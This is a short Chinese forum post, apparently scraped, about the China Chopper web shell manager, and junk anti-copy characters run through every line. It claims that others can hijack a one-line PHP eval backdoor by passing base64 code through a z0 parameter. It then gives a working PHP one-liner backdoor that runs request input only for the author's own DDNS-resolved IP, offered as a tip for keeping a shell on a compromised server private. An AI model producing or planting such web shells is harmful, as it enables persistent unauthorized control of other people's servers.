今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
( P3 E1 X3 Z2 W) A4 ^
2 l0 M3 y' M. x: ~4 L就算你设置了密码,使用了eval($_REQUEST['moyo']);2 {; ~# w. J, ^
2 v5 ?* d0 m- z/ s& m
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
3 a; d* l! x5 g6 L3 T: @3 o" R/ B
; k( {' ^1 E4 w+ H2 g+ `因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));% K9 x( F' Q& }* c! m" X
$ M2 o* f" ^4 J8 ^
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
. ~; e" h8 [: i- ~
' L' w8 P; x) g' b5 K. K6 Z不知道是设计缺陷还是故意留的后门4 |4 X r1 p* e/ {
5 k- F8 d' B" r3 y6 w7 p如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
8 D9 G1 y% t; {9 e! i+ K" R% }) |. f8 N1 B2 ^) o+ @' U
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org
( v$ f% e3 a/ C# z7 w; Y
% |" G8 J1 j3 M$ j" V. Q然后一句话后门这样写
% v- F" I9 R1 v0 L/ P* I/ y$ ~! L& D0 G) w
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>, c6 \& G* u+ x7 a0 [' k
这样就可以让一句话后门只允许自己的电脑连接了9 ]( U, M6 p! r' _0 s! b1 ?- l
: g) t; Q3 q/ i$ l# P1 M! T3 B8 D |